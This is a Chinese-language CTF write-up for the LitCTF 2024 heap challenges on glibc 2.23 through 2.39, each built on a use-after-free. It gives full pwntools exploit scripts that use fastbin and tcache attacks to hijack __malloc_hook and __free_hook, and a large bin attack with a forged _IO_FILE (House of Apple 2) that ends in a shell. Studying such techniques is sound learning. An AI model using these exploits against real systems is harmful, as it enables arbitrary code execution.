0x00 前言 堆还是太弱了,所以决定补补,稍微了解一下不同版本的堆手法
0x01 题解 同一个漏洞,全是 UAF,但是不同版本,先是一点一点慢慢啃吧
LitCTF 2024_heap-2.23 2.23 经典的 fast bin attack,还是比较简单的,通过制造 unsorted bin 来泄露 libc_base. 因为 free 函数这里没有对堆块指针置 0,打印堆块的函数中的检测形同虚设 可以利用这点对已被释放的堆块进行打印,借此泄露出 libc_base 接着依旧 uaf,编辑堆块的功能也因为 free 函数没有对管理堆块的指针置 0 而可以直接对被释放的堆块进行编辑,我们可以通过编辑被释放堆块的 fd 指针来将堆块申请到 __malloc_hook 附近,接着通过编辑堆块的功能来将 __malloc_hook 改写成 one_gadget
from pwn import *from ctypes import *from struct import packimport gmpy2context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/pwn/heap' elf=ELF(file) libc = ELF('/home/l1nk/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6' ) choice = 0x001 if choice: port= 28143 nss='node4.anna.nssctf.cn' p = remote(nss,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,'b *0x00000000004008B3' ) def malloc (index,size ): sla('>>' ,b'1' ) sla('idx? ' ,str (index)) sla('size? ' ,str (size)) def free (index ): sla('>>' ,b'2' ) sla('idx? ' ,str (index)) def edit (index,content ): sla('>>' ,b'4' ) sla('idx? ' ,str (index)) sla('content : \n' ,content) def show (index ): sla('>>' ,b'3' ) sla('idx? ' ,str (index)) malloc(0 ,0x410 ) malloc(1 ,0x68 ) free(0 ) show(0 ) libc_base = uru64()-0x3c4b78 leak('libc_base' ) malloc(2 ,0x68 ) malloc(3 ,0x68 ) one = [0x4527a ,0xf03a4 ,0xf1247 ] free(2 ) edit(2 ,p64(libc_sym('__malloc_hook' )-0x23 )) malloc(4 ,0x68 ) malloc(5 ,0x68 ) edit(5 ,b'\x00' *0x13 +p64(libc_os(one[2 ]))) malloc(6 ,0x10 ) itr()
LitCTF 2024_heap-2.27 因为该版本 Tcache 刚出来,还没什么安全检测,导致可以随意利用,甚至没有 2.23 中的 fast bin attack 这么麻烦,直接就是任意地址申请。但是套 2.23 的模板的话,到 2.31 就打不通了,另一个做法会在 2.27 这里展示
详情请看: LitCTF 2024 heap-2.27(Tcache attack啦)
LitCTF 2024_heap-2.31 接着就是 2.27 提到的不太相同的打法了。首先我们先填满 Tcache,接着申请出 unsorted bin 大小的堆块,利用 UAF 漏洞来 leak libc。最后依旧是利用 Tcache 来将堆块申请到 __free_hook 上,将其修改为 system,然后 free 掉一个内容为 /bin/sh 的堆块即可
from pwn import *context(arch='amd64' , log_level = 'debug' ,os = 'linux' ) file='/mnt/c/Users/Z2023/Desktop/heap/2.31/heap' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/heap/2.31/libc.so.6' ) choice = 0x00 if choice: port= 28262 ns = '8.147.132.32' p = remote(nss,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) def malloc (index,size ): sla('>>' ,b'1' ) sla('idx? ' ,str (index)) sla('size? ' ,str (size)) def free (index ): sla('>>' ,b'2' ) sla('idx? ' ,str (index)) def edit (index,content ): sla('>>' ,b'4' ) sla('idx?' ,str (index)) sla('content : \n' ,content) def show (index ): sla('>>' ,b'3' ) sla('idx? ' ,str (index)) for i in range (7 ): malloc(i,0x80 ) malloc(7 ,0x80 ) for i in range (7 ): free(i) malloc(8 ,0x10 ) free(7 ) malloc(9 ,0x40 ) show(9 ) ru('content : ' ) libc_base = uu64(r(6 ).ljust(8 ,b'\x00' )) - 0x1ecc60 libc.address = libc_base leak('libc_base' ) free_hook = libc.sym['__free_hook' ] edit(6 ,p64(free_hook)) malloc(10 ,0x80 ) edit(10 ,b'/bin/sh\x00' ) malloc(11 ,0x80 ) edit(11 ,p64(libc.sym['system' ])) free(10 ) itr()
LitCTF 2024_heap-2.35 2.35 相比之前貌似是把 __malloc_hook 和 __free_hook 取消掉了,然后就是 heap 地址多了个 key,就是说不能像 2.27 和 2.31 那样随意 uaf 申请堆块到任意地址了,但问题不大,稍微泄露一下就可以。这题直接学一下 house of apple 吧。需要先掌握一点 io file 的知识,可以先去学学 pwn college 的 File Struct Exploits 大概是到 level 10 的样子。接着参考 gets ✌的视频 house of apple2之_IO_wfile_overflow 。基本上就是参考他的视频里面的 exp。 首先是泄露 libc 和 heap_base
malloc(0 ,0x418 ) malloc(1 ,0x18 ) malloc(2 ,0x428 ) malloc(3 ,0x18 ) free(2 ) free(0 ) show(2 ) ru('content : ' ) libc_addr = uu64(r(6 ).ljust(8 ,b'\x00' )) libc_base = libc_addr - 0x21ace0 leak('libc_base' ) libc.address = libc_base show(0 ) ru('content : ' ) heap_base= uu64(r(6 ).ljust(8 ,b'\x00' )) - 0x6d0 leak('heap_base' )
free 掉 2 和 0 之后分别进入 unsorted bin,然后利用打印功能不检测堆块的状态这个漏洞直接泄露 libc 以及 heap_base,这些在前面都是这样操作的,也没什么好说的。 接着就是一个 large bin attack
malloc(4 ,0x418 ) show(2 ) ru('content : ' ) main_arena = uu64(r(6 ).ljust(8 ,b'\x00' )) edit(2 ,p64(0 )*3 + p64(libc.sym['_IO_list_all' ] - 0x20 )) free(4 ) malloc(5 ,0x408 )
效果就是这样,往 _IO_list_all 上写一个堆地址,相当于直接劫持了 stdout 然后是修复一下用来进行 large bin attack 的堆块,将其申请回来
edit(2 ,p64(main_arena)*2 + p64(file_addr)*2 ) malloc(6 ,0x428 )
然后就是伪造结构体了
file_addr = heap_base + 0x6d0 IO_wide_data_addr = (file_addr + 0xd8 + 8 ) - 0xe0 wide_vatable_addr = (file_addr + 0xd8 + 8 + 8 ) - 0x68 fake_io = b'' fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(1 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) * 4 fake_io += p64(0 ) fake_io += p32(2 ) fake_io += p32(0 ) fake_io += p64(0xffffffffffffffff ) fake_io += p16(0 ) fake_io += b'\x00' fake_io += b'\n' fake_io += p32(0 ) fake_io += p64(libc.sym['_IO_2_1_stdout_' ] + 0x1ea0 ) fake_io += p64(0xffffffffffffffff ) fake_io += p64(0 ) fake_io += p64(IO_wide_data_addr) fake_io += p64(0 ) * 3 fake_io += p32(0xffffffff ) fake_io += b'\x00' * 19 fake_io = fake_io.ljust(0xd8 - 0x10 ,b'\x00' ) fake_io += p64(libc.sym['_IO_wfile_jumps' ]) fake_io += p64(wide_vatable_addr) fake_io += p64(libc.sym['system' ])
其中需要满足这样的条件 然后放一个64位IO_FILE_plus结构体中的偏移在这里
0x0 _flags0x8 _IO_read_ptr0x10 _IO_read_end0x18 _IO_read_base0x20 _IO_write_base0x28 _IO_write_ptr0x30 _IO_write_end0x38 _IO_buf_base0x40 _IO_buf_end0x48 _IO_save_base0x50 _IO_backup_base0x58 _IO_save_end0x60 _markers0x68 _chain0x70 _fileno0x74 _flags20x78 _old_offset0x80 _cur_column0x82 _vtable_offset0x83 _shortbuf0x88 _lock0x90 _offset0x98 _codecvt0xa0 _wide_data0xa8 _freeres_list0xb0 _freeres_buf0xb8 __pad50xc0 _mode0xc4 _unused20xd8 vtable
大概来看一下我们伪造的结构体 然后稍微来验证一下上面的条件,_wide_data 设置为 A 继续看一下 B(A + 0xe0),实际上就是倒数第二句的 fake_io += p64(wide_vatable_addr), 直接看 B + 0x68 正是 libc 中的 system。然后 gdb 跟着走一遍,首先是程序中写的 Exit 函数,当中会调用 exit(0) 然后到 _IO_flush_all_lockp 中调用 _IO_wfile_overflow ,然后紧接的是 _IO_wdoallocbuf 但是这里需要注意的是这两个地方,取了我们设置的 flag 字段,也就是提前设定的参数的头两个字节,这里是两个空格 ,test al,8 的意思是看二进制的第四位是否为 1,是就跳转,因为空格 ascii 是 0x20,所以就不会跳转,一开始看 gets 佬的视频,看到他设置的是 ;sh;,第二个字符为 ;(0x3b 0011 1011) 就会跳到 _IO_wfile_overflow+156 那边,从而不会执行下面的 call _IO_wdoallocbuf 然后进入到 _IO_wdoallocbuf 之后就会执行 B + 0x68 上的内容,并且参数就是 _flag 字段的内容 House of apple 2 基本上就是这样了,但如果有限制申请堆块的大小可能就不太好用。 exp就不放了,跟2.39的基本一样。
其实还有 2.35 还有一个通过泄露 enviro(栈地址)的打法,大概可以参考这题 malloc
LitCTF 2024_heap-2.39 复习 house of apple。代码稍微变动了一下,只能申请 largebin 了,不过应该也是往这方面引导,然后就是 exit 之前有一个神秘反向清空堆块:
for ( n15 = 0 ; n15 <= 15 ; ++n15 ){ if ( !ptr[n15] ) { free ((void *)ptr[n15]); ptr[n15] = 0 ; ptr_size[n15] = 0 ; } }
没指针才 free… 什么操作,最后 exit 之前申请满 16 个堆块就行了,避免做出 free (0) 这种神秘操作
from pwn import *from ctypes import *context(arch='amd64' , log_level = 'debug' ,os = 'linux' ) file='/mnt/c/Users/Z2023/Desktop/heap/2.39/heap' elf=ELF(file) context.binary = elf libc = ELF('/mnt/c/Users/Z2023/Desktop/heap/2.39/libc.so.6' ) choice = 0x001 if choice: port= 28978 nss='node4.anna.nssctf.cn' buu='node5.buuoj.cn' ns='47.104.154.99' local = '127.0.0.1' p = remote(nss,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,gdbscript=cmd) def malloc (index,size ): sla('>>' ,b'1' ) sla('idx?' ,str (index)) sla('size?' ,str (size)) def free (index ): sla('>>' ,b'2' ) sla('idx?' ,str (index)) def edit (index,content ): sla('>>' ,b'4' ) sla('idx?' ,str (index)) sla('content' ,content) def show (index ): sla('>>' ,b'3' ) sla('idx?' ,str (index)) def exitexit (): sla('>>' ,b'5' ) malloc(0 ,0x428 ) malloc(1 ,0x508 ) malloc(3 ,0x418 ) malloc(4 ,0x500 ) free(0 ) show(0 ) ru('content : ' ) libc_base = uu64(r(6 ).ljust(8 ,b'\x00' )) - 0x203b20 leak('libc_base' ) libc.address = libc_base malloc(2 ,0x438 ) edit(0 ,b'a' *12 + b'b' *4 ) show(0 ) ru('content : ' ) ru('b' *4 ) heap_base = uu64(r(6 ).ljust(8 ,b'\x00' )) - 0x20a leak('heap_base' ) free(3 ) edit(0 ,p64(0 )*3 + p64(libc.sym['_IO_list_all' ] - 0x20 ) ) malloc(5 ,0x438 ) io_wfile_jumps = libc.sym['_IO_wfile_jumps' ] sys_addr = libc.sym['system' ] fake_file_addr = heap_base + 0xbd0 file_offset=-16 fake_file=flat({ file_offset+0x28 :1 , file_offset+0x68 :sys_addr, file_offset+0x88 :heap_base, file_offset+0xa0 :fake_file_addr, file_offset+0xd8 :io_wfile_jumps, file_offset+0xe0 :fake_file_addr, },filler='\x00' ) edit(3 ,fake_file) edit(1 ,b'a' *0x500 +b' sh;\x00' ) for i in range (6 ,16 ): malloc(i,0x500 ) debug('b _IO_flush_all' ) exitexit() itr()